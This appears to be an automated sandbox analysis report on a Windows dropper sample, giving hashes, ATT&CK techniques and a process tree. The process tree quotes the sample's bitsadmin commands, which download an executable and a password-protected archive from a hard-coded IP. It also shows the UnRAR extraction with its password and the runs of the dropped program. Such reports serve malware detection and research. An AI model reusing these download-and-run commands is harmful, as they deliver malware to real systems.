a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181

Analysis

max time kernel
144s
max time network
125s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
29-11-2024 03:48

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General

Target

a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe
Size

42KB
MD5

56944be08ed3307c498123514956095b
SHA1

53ffb50051da62f2c2cee97fe048a1441e95a812
SHA256

a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181
SHA512

aa196a1a1e44c3fde974bbf8a031e6943a474d16d5a956b205d283ee5be53e110dba52817f7f2782e7ecc8783fea77f9c34613f99fb81fe09d2bea8b2f91bc13
SSDEEP

768:hef6qfEqLBTxrLkSRoys2uGUmRDcMznWHWmZCXrs0D3S9i1GcucbMgAoG:efHLrLkSRoybCQUZsrs0DC1cucbMDoG

Score

8^/10

discovery dropper

Malware Config

Signatures

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

Processes:

bitsadmin.exebitsadmin.exe

pid	Process
2844	bitsadmin.exe
376	bitsadmin.exe

Downloads MZ/PE file

Executes dropped EXE 4 IoCs

Processes:

letgrtsC1.exeletgrtsC1.exeletgrtsC1.exeletgrtsC1.exe

pid	Process
2320	letgrtsC1.exe
2008	letgrtsC1.exe
1712	letgrtsC1.exe
1032	letgrtsC1.exe

Loads dropped DLL 9 IoCs

Processes:

a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exeletgrtsC1.exeletgrtsC1.exeletgrtsC1.exeletgrtsC1.exe

pid	Process
2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe
2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe
2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe
2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe
2320	letgrtsC1.exe
2008	letgrtsC1.exe
2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe
1712	letgrtsC1.exe
1032	letgrtsC1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exeping.exebitsadmin.exebitsadmin.exeletgrtsC1.exeletgrtsC1.exeletgrtsC1.exeletgrtsC1.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ping.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	letgrtsC1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	letgrtsC1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	letgrtsC1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	letgrtsC1.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

ping.exe

pid	Process
2712	ping.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

ping.exe

pid	Process
2712	ping.exe

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exeletgrtsC1.exeletgrtsC1.exe

description	pid	Process	procid_target
PID 2756 wrote to memory of 2712	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	30
PID 2756 wrote to memory of 2712	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	30
PID 2756 wrote to memory of 2712	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	30
PID 2756 wrote to memory of 2712	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	30
PID 2756 wrote to memory of 2844	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	32
PID 2756 wrote to memory of 2844	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	32
PID 2756 wrote to memory of 2844	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	32
PID 2756 wrote to memory of 2844	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	32
PID 2756 wrote to memory of 376	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	34
PID 2756 wrote to memory of 376	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	34
PID 2756 wrote to memory of 376	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	34
PID 2756 wrote to memory of 376	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	34
PID 2756 wrote to memory of 2784	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	37
PID 2756 wrote to memory of 2784	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	37
PID 2756 wrote to memory of 2784	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	37
PID 2756 wrote to memory of 2784	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	37
PID 2756 wrote to memory of 2320	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	39
PID 2756 wrote to memory of 2320	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	39
PID 2756 wrote to memory of 2320	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	39
PID 2756 wrote to memory of 2320	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	39
PID 2756 wrote to memory of 2320	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	39
PID 2756 wrote to memory of 2320	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	39
PID 2756 wrote to memory of 2320	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	39
PID 2320 wrote to memory of 2008	2320	letgrtsC1.exe	40
PID 2320 wrote to memory of 2008	2320	letgrtsC1.exe	40
PID 2320 wrote to memory of 2008	2320	letgrtsC1.exe	40
PID 2320 wrote to memory of 2008	2320	letgrtsC1.exe	40
PID 2320 wrote to memory of 2008	2320	letgrtsC1.exe	40
PID 2320 wrote to memory of 2008	2320	letgrtsC1.exe	40
PID 2320 wrote to memory of 2008	2320	letgrtsC1.exe	40
PID 2756 wrote to memory of 1712	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	41
PID 2756 wrote to memory of 1712	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	41
PID 2756 wrote to memory of 1712	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	41
PID 2756 wrote to memory of 1712	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	41
PID 2756 wrote to memory of 1712	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	41
PID 2756 wrote to memory of 1712	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	41
PID 2756 wrote to memory of 1712	2756	a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe	41
PID 1712 wrote to memory of 1032	1712	letgrtsC1.exe	42
PID 1712 wrote to memory of 1032	1712	letgrtsC1.exe	42
PID 1712 wrote to memory of 1032	1712	letgrtsC1.exe	42
PID 1712 wrote to memory of 1032	1712	letgrtsC1.exe	42
PID 1712 wrote to memory of 1032	1712	letgrtsC1.exe	42
PID 1712 wrote to memory of 1032	1712	letgrtsC1.exe	42
PID 1712 wrote to memory of 1032	1712	letgrtsC1.exe	42

C:\Users\Admin\AppData\Local\Temp\a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe
"C:\Users\Admin\AppData\Local\Temp\a34d38dfb2866e7e20c7530046289a0fdfc440aa2b019e6ff90a8d03e016b181.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Windows\SysWOW64\ping.exe
  ping -n 1 8.8.8.8
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:2712
- C:\Windows\SysWOW64\bitsadmin.exe
  bitsadmin /transfer "DownloadUnRAR" /priority high "http://194.15.46.189/UnRAR.exe" "C:\Users\Admin\AppData\Local\Temp\UnRAR.exe"
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:2844
- C:\Windows\SysWOW64\bitsadmin.exe
  bitsadmin /transfer "DownloadletgrtsC1" /priority high "http://194.15.46.189/letgrtsC1.rar" "C:\Users\Admin\AppData\Local\Temp\letgrtsC1.rar"
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:376
- C:\Users\Admin\AppData\Local\Temp\UnRAR.exe
  "C:\Users\Admin\AppData\Local\Temp\UnRAR.exe" x -o+ -pQwerty1234.Q "C:\Users\Admin\AppData\Local\Temp\letgrtsC1.rar" "C:\Users\Admin\AppData\Local\Temp"
  2⤵
  PID:2784
- C:\Users\Admin\AppData\Local\Temp\letgrtsC1.exe
  "C:\Users\Admin\AppData\Local\Temp\letgrtsC1.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Users\Admin\AppData\Local\Temp\letgrtsC1.exe
    "C:\Users\Admin\AppData\Local\Temp\letgrtsC1.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2008
- C:\Users\Admin\AppData\Local\Temp\letgrtsC1.exe
  "C:\Users\Admin\AppData\Local\Temp\letgrtsC1.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1712
- - C:\Users\Admin\AppData\Local\Temp\letgrtsC1.exe
    "C:\Users\Admin\AppData\Local\Temp\letgrtsC1.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\_MEI23202\python39.dll

Filesize
4.2MB

MD5
b28171046f2d50c645b076b6ebac220e

SHA1
4fb1ca03eb372592e0b20d5e7aceedb501bbb64c

SHA256
6366bcf2e53e6f3dc588779b3b7401b7ad955759c03d722221595e26a8d8f347

SHA512
7b9cd051ec42e23110020ed75281eec7854ad7f885c150377885663bee2a0e5b1eece6d7a54837b60e622fa8f56c2d1dbcb62bc8c086c017d9831db8717cd0c5

Download Submit
\Users\Admin\AppData\Local\Temp\nst4442.tmp\nsExec.dll

Filesize
7KB

MD5
11092c1d3fbb449a60695c44f9f3d183

SHA1
b89d614755f2e943df4d510d87a7fc1a3bcf5a33

SHA256
2cd3a2d4053954db1196e2526545c36dfc138c6de9b81f6264632f3132843c77

SHA512
c182e0a1f0044b67b4b9fb66cef9c4955629f6811d98bbffa99225b03c43c33b1e85cacabb39f2c45ead81cd85e98b201d5f9da4ee0038423b1ad947270c134a

Download Submit